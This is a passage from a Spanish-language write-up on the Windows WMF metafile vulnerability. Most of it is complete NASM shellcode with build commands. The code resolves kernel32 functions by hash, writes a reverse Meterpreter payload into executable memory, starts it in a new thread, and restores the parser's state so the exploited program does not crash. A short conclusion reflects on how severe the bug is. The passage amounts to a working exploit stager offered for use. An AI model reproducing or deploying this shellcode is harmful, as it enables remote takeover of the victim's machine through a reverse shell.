compilarla: nasmw -f win32 shellcode.asm alink -oPE -entry startup shellcode.obj Tambien podeis encontrar la RelocateShellcode "a secas" que es el mismo codigo pero sin las instrucciones relacionadas con la explotacion del bug del wmf, esta en: http://www.badchecksum.com/code/pentest/RelocateShellcodeWinNT.asm [segment .text] [global startup] startup: nop ;never executed nop ;never executed nop ;1 byte for padding because the shellcode size must be a multiple of four ;Special voodoo code that will save wmf parser state pushfd ;Save flags pushad ;Save General purpose registers mov eax, [esp+0x24] ;eax = ret sub eax, 0xdac3 ;eax = special ret push eax ;save special ret mov ebp, esp sub esp, 0xC0 ;allocate 0xC0 bytes mov [esp], ebp ;Save pointer to saved data mov ebp, esp call find_kernel32 mov edx, eax call get_hashes_base mov esi, eax lea edi, [ebp+0x4] mov ecx, esi add ecx, 0x10 ;4 functions, 16 bytes call resolve_symbols_for_dll ;VirtualAlloc(NULL,1024,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); push 0x40 ;PAGE_EXECUTE_READWRITE push 0x3000 ;MEM_COMMIT | MEM_RESERVE push 0x400 ;1024 bytes push 0x0 ;NULL call [ebp+0x4] mov esi, eax ;GetCurrentProcess() call [ebp+0x8] mov edi, eax call get_shellcode_base mov ecx, eax ;WriteProcessMemory(GetCurrentProcess(),proc,scode,strlen(scode),NULL); push 0x0 ;NULL push 0x7D0 ;Reverse meterpreter shellcode length (2000 bytes) push ecx ;scode push esi ;proc push edi ;GetCurrentProcess() call[ebp + 0xc] ;CreateThread(NULL,0,proc,NULL,0,NULL); push 0x0 ;NULL push 0x0 ;0 push 0x0 ;NULL push esi ;proc push 0x0 ;0 push 0x0 ;NULL call[ebp + 0x10] ;Special voodoo code that will restore wmf parser pre-exploitation state mov esp, [ebp] ;Get pointer to saved data pop eax mov [esp+0x24],eax ;Store especial ret in (original esp)-0xc popad ;Restore general purpose registers (but esp and eip are still corrupt) popfd ;Restore flags add esp, 0xC ;Restore esp push eax ;Save eax mov eax, [ebp-0x44] mov dword [eax+0x14], 0x0 ;Restore callback to 0 for subsequent loops pop eax ;restore eax jmp [esp-0xC] ;Restore eip find_kernel32: push esi xor esi, esi mov esi, [fs:esi + 0x18] lodsd lodsd mov eax, [eax - 0x1c] find_kernel32_base: find_kernel32_base_loop: dec eax xor ax, ax cmp word [eax], 0x5a4d jne find_kernel32_base_loop find_kernel32_base_finished: pop esi ret find_function: pushad mov ebp, [esp + 0x24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 0x78] add edx, ebp mov ecx, [edx + 0x18] mov ebx, [edx + 0x20] add ebx, ebp find_function_loop: jecxz find_function_finished dec ecx mov esi, [ebx + ecx * 4] add esi, ebp compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al jz compute_hash_finished ror edi, 0xd add edi, eax jmp compute_hash_again compute_hash_finished: cmp edi, [esp + 0x28] jnz find_function_loop mov ebx, [edx + 0x24] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 0x1c] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp mov [esp + 0x1c], eax find_function_finished: popad ret resolve_symbols_for_dll: lodsd push eax push edx call find_function mov [edi], eax add esp, 0x08 add edi, 0x04 cmp esi, ecx jne resolve_symbols_for_dll resolve_symbols_for_dll_finished: ret get_hashes_base: jmp forward middle: jmp end forward: call middle end: pop eax add eax, 0x7 ret kernel32_symbol_hashes: db 0x54,0xca,0xaf,0x91 ;VirtualAlloc db 0xe6,0x17,0x8f,0x7b ;GetCurrentProcess db 0xa1,0x6a,0x3d,0xd8 ;WriteProcessMemory db 0x6b,0xd0,0x2b,0xca ;CreateThread get_shellcode_base: jmp forward2 middle2: jmp end2 forward2: call middle2 end2: pop eax add eax, 0x7 ret ;Aqui va la shellcode 3. Conclusion ================================= Este es uno de los bugs mas severos que he visto desde el de DCOM que dio lugar al worm blaster, esto da que pensar. Casi se puede concluir que todavia quedan muchos y incluso mejores bugs que este, ademas, no es un bug convencional, sino un error logico de los programadores que le dieron demasiado poder a una funcion que puede ser invocada por cualquiera (mediante un archivo wmf). Podemos estar seguros de que llegara un dia si no ha llegado ya, en el que los overflows hayan desaparecido, pero nunca podremos estarlo de que no queden bugs de este tipo por que son consecuencia de una habilidad del ser humano, la de cometer errores ;).